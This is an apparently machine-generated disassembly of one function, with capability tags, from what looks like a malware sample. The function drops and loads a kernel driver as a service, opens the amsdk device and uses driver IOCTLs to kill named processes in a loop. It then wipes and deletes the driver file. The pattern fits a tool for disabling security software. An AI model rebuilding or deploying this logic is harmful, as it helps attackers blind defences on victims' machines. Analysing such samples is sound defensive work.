Function at 0x401050
Capabilities:
Check if file exists
Create service
Delete file
Enumerate processes
Get file attributes
Get file size
Query service status
Start service
Terminate process
Terminate process by name
Write file on windows

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x184
mov eax, dword [0x41b004]
xor eax, esp
mov dword [esp + 0x180], eax
mov eax, dword [ebp + 0xc]
push ebx
push esi
push edi
push str.C:ProgramDatawerutil2.sys
mov dword [esp + 0x18], eax
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
je 0x401088
test al, 0x10
je 0x4010d7
push 0
push 0x80
push 2
push 0
push 1
push 0xc0000000
push str.C:ProgramDatawerutil2.sys
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
cmp esi, 0xffffffff
je 0x401684
push 0
lea eax, [esp + 0x2c]
mov dword [esp + 0x2c], 0
push eax
push 0x374b8
push 0x41b8b0
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0xf003f
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
mov edi, eax
test edi, edi
je 0x401188
push 0xf01ff
push str.QJUWxzyz
push edi
call dword [sym.imp.ADVAPI32.dll_OpenServiceA]
mov esi, eax
test esi, esi
je 0x401150
push str.___Service_already_exists__n
call fcn.00401010
add esp, 4
lea eax, [esp + 0x3c]
push eax
push esi
call dword [sym.imp.ADVAPI32.dll_QueryServiceStatus]
test eax, eax
je 0x4011cd
cmp dword [esp + 0x40], 1
jne 0x4011e8
push 0
push 0
push esi
call dword [sym.imp.ADVAPI32.dll_StartServiceA]
test eax, eax
je 0x4011cd
push str.___Starting_service..._n
jmp 0x4011e0
push 0
push 0
push 0
push 0
push 0
push str.C:ProgramDatawerutil2.sys
push 0
push 3
push 1
push 0xf01ff
push str.QJUWxzyz
push str.QJUWxzyz
push edi
call dword [sym.imp.ADVAPI32.dll_CreateServiceA]
mov esi, eax
test esi, esi
jne 0x4011a4
push edi
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push str.____Error__Failed_to_load_driver:__d_n
call fcn.00401010
add esp, 8
push 0xffffffffffffffff
call dword [sym.imp.KERNEL32.dll_ExitProcess]
push str.___Service_created_successfully__n
call fcn.00401010
add esp, 4
push str.___Starting_service..._n
call fcn.00401010
add esp, 4
push 0
push 0
push esi
call dword [sym.imp.ADVAPI32.dll_StartServiceA]
test eax, eax
jne 0x4011db
push esi
mov esi, dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
call esi
push edi
call esi
jmp 0x401188
push str.___Service_was_successfully_started__n
call fcn.00401010
add esp, 4
push esi
mov esi, dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
call esi
push edi
call esi
push 0
push 0x80
push 2
push 0
push 1
push 0xc0000000
push str.C:ProgramDatawerutil2.sys
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov edi, dword [sym.imp.KERNEL32.dll_GetLastError]
mov esi, eax
mov dword [esp + 0x10], esi
cmp esi, 0xffffffff
je 0x40133f
lea eax, [esp + 0x18]
mov dword [esp + 0x24], 0
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetFileSizeEx]
push dword [esp + 0x18]
xorps xmm0, xmm0
movlpd qword [esp + 0x2c], xmm0
call fcn.0040641d
add esp, 4
mov dword [esp + 0x20], eax
push dword [esp + 0x18]
push 0
push eax
call fcn.004025b0
mov ebx, dword [esp + 0x38]
add esp, 0xc
mov edi, dword [esp + 0x28]
push 0
push 0
push ebx
push edi
push esi
mov esi, dword [sym.imp.KERNEL32.dll_SetFilePointerEx]
call esi
push 0
lea eax, [esp + 0x28]
push eax
push dword [esp + 0x20]
push dword [esp + 0x2c]
push dword [esp + 0x20]
call dword [sym.imp.KERNEL32.dll_WriteFile]
push dword [esp + 0x18]
push 1
push dword [esp + 0x28]
call fcn.004025b0
add esp, 0xc
push 0
push 0
push ebx
push edi
push dword [esp + 0x20]
call esi
push 0
lea eax, [esp + 0x28]
push eax
push dword [esp + 0x20]
push dword [esp + 0x2c]
push dword [esp + 0x20]
call dword [sym.imp.KERNEL32.dll_WriteFile]
push dword [esp + 0x18]
push 3
push dword [esp + 0x28]
call fcn.004025b0
add esp, 0xc
push 0
push 0
push ebx
mov ebx, dword [esp + 0x1c]
push edi
push ebx
call esi
push 0
lea eax, [esp + 0x28]
push eax
push dword [esp + 0x20]
push dword [esp + 0x2c]
push ebx
call dword [sym.imp.KERNEL32.dll_WriteFile]
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push str.C:ProgramDatawerutil2.sys
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
test eax, eax
je 0x401329
push str.___Driver_was_successfully_zeroed__n
call fcn.00401010
mov edi, dword [sym.imp.KERNEL32.dll_GetLastError]
add esp, 4
jmp 0x40133f
mov edi, dword [sym.imp.KERNEL32.dll_GetLastError]
call edi
push eax
push str.____Error__Failed_to_open_driver_handle:__d_n
call fcn.00401010
add esp, 8
push 0
push 4
push 3
push 0
push 0
push 0xe0000000
push str.._amsdk
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov ebx, eax
mov dword [esp + 0x18], ebx
test ebx, ebx
jne 0x40137b
call edi
push eax
push str.____Error__Failed_to_open_driver_handle:__d_n
call fcn.00401010
add esp, 8
push 0xffffffffffffffff
call dword [sym.imp.KERNEL32.dll_ExitProcess]
mov dword [esp + 0x34], 0
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
push 0
mov dword [esp + 0x3c], eax
xorps xmm0, xmm0
lea eax, [esp + 0x38]
movlpd qword [esp + 0x188], xmm0
push eax
push 8
lea eax, [esp + 0x190]
push eax
push 4
lea eax, [esp + 0x4c]
push eax
push 0x80002010
push ebx
call dword [sym.imp.KERNEL32.dll_DeviceIoControl]
test eax, eax
jne 0x4013d6
push str.____Error__Failed_to_register_process__n
call fcn.00401010
add esp, 4
push 0xffffffffffffffff
call dword [sym.imp.KERNEL32.dll_ExitProcess]
mov ebx, dword [ebp + 8]
cmp ebx, 1
jle 0x401400
mov esi, 1
mov eax, dword [esp + 0x14]
lea edi, [eax + esi*4]
inc esi
push 0x419a18
push dword [edi]
call dword [sym.imp.KERNEL32.dll_lstrcmpiA]
test eax, eax
je 0x401415
cmp esi, ebx
jl 0x4013e3
push str.____Error__Use__p_arg_to_set_list_of_processes__n
call fcn.00401010
add esp, 4
push 0xffffffffffffffff
call dword [sym.imp.KERNEL32.dll_ExitProcess]
cmp esi, ebx
jge 0x401400
mov esi, dword [edi + 4]
test esi, esi
je 0x401400
mov cl, byte [esi]
mov ebx, 1
mov dword [esp + 0x24], ebx
mov edx, esi
test cl, cl
je 0x401449
cmp cl, 0x2c
lea edx, [edx + 1]
mov cl, byte [edx]
lea eax, [ebx + 1]
cmovne eax, ebx
mov ebx, eax
test cl, cl
jne 0x401431
mov dword [esp + 0x24], eax
push 4
push ebx
call fcn.004044f0
mov dl, byte [esi]
add esp, 8
mov dword [esp + 0x20], eax
mov ecx, eax
mov edi, esi
test dl, dl
je 0x401476
cmp dl, 0x2c
jne 0x40146c
add ecx, 4
jmp 0x40146e
inc dword [ecx]
mov dl, byte [edi + 1]
inc edi
test dl, dl
jne 0x401462
xor ecx, ecx
mov eax, ebx
mov edx, 4
mul edx
seto cl
neg ecx
or ecx, eax
push ecx
call fcn.0040641d
mov edi, eax
xor edx, edx
mov eax, dword [esp + 0x24]
add esp, 4
mov dword [esp + 0x10], edi
mov ecx, dword [eax]
add ecx, 1
push 4
setb dl
add eax, 4
neg edx
mov dword [esp + 0x18], eax
or edx, ecx
push edx
call fcn.004044f0
mov dword [edi], eax
add esp, 8
mov cl, byte [esi]
add edi, 4
test cl, cl
je 0x401507
mov ebx, dword [esp + 0x14]
nop word [eax + eax]
cmp cl, 0x2c
jne 0x4014f8
mov eax, dword [ebx]
xor ecx, ecx
add eax, 1
push 4
setb cl
add ebx, 4
neg ecx
or ecx, eax
push ecx
call fcn.004044f0
add esp, 8
mov dword [edi], eax
add edi, 4
jmp 0x4014fb
mov byte [eax], cl
inc eax
mov cl, byte [esi + 1]
inc esi
test cl, cl
jne 0x4014d0
mov ebx, dword [esp + 0x24]
push dword [esp + 0x20]
call fcn.00406402
mov edi, dword [esp + 0x14]
add esp, 4
xor eax, eax
test ebx, ebx
jle 0x401540
nop dword [eax]
push dword [edi + eax*4]
lea esi, [eax + 1]
push esi
push str._t__d___s_n
call fcn.00401010
mov eax, esi
add esp, 0xc
cmp eax, ebx
jl 0x401520
nop word [eax + eax]
xor eax, eax
mov dword [esp + 0x28], eax
test ebx, ebx
jle 0x401640
nop
xor ebx, ebx
lea eax, [edi + eax*4]
mov edi, dword [eax]
push ebx
push 2
mov dword [esp + 0x1c], eax
call dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov esi, eax
cmp esi, 0xffffffff
jne 0x401574
mov dword [esp + 0x20], ebx
jmp 0x401627
lea eax, [esp + 0x58]
mov dword [esp + 0x58], 0x128
push eax
push esi
call dword [sym.imp.KERNEL32.dll_Process32First]
test eax, eax
je 0x4015b6
nop dword [eax]
lea eax, [esp + 0x7c]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_lstrcmpiA]
test eax, eax
je 0x4015b2
lea eax, [esp + 0x58]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_Process32Next]
test eax, eax
jne 0x401590
jmp 0x4015b6
mov ebx, dword [esp + 0x60]
mov edi, dword [sym.imp.KERNEL32.dll_CloseHandle]
push esi
call edi
mov dword [esp + 0x20], ebx
test ebx, ebx
je 0x401627
mov esi, dword [esp + 0x14]
push ebx
push dword [esi]
push str.___Found__s_PID:__ld_n
call fcn.00401010
add esp, 0xc
push str.___Trying_to_kill..._n
call fcn.00401010
mov ebx, dword [esp + 0x1c]
lea eax, [esp + 0x38]
add esp, 4
push 0
push eax
push 8
lea eax, [esp + 0x190]
push eax
push 4
lea eax, [esp + 0x34]
push eax
push 0x80002048
push ebx
call dword [sym.imp.KERNEL32.dll_DeviceIoControl]
test eax, eax
je 0x401651
push dword [esp + 0x20]
push dword [esi]
push str.___Killed__s_PID:__ld_n_n
call fcn.00401010
add esp, 0xc
mov eax, dword [esp + 0x28]
mov ebx, dword [esp + 0x24]
inc eax
mov edi, dword [esp + 0x10]
mov dword [esp + 0x28], eax
cmp eax, ebx
jl 0x401550
push 0x64
call dword [sym.imp.KERNEL32.dll_Sleep]
mov edi, dword [esp + 0x10]
jmp 0x401540
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push dword [esp + 0x24]
push str.____Error__Failed_to_terminate_process:__s__n
call fcn.00401010
add esp, 0xc
push ebx
call edi
mov ecx, dword [esp + 0x18c]
or eax, 0xffffffff
pop edi
pop esi
pop ebx
xor ecx, esp
call fcn.004016a1
mov esp, ebp
pop ebp
ret
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push str.____Error__Failed_to_write_driver_bytes:__d_n
call fcn.00401010
add esp, 8
push 0xffffffffffffffff
call dword [sym.imp.KERNEL32.dll_ExitProcess]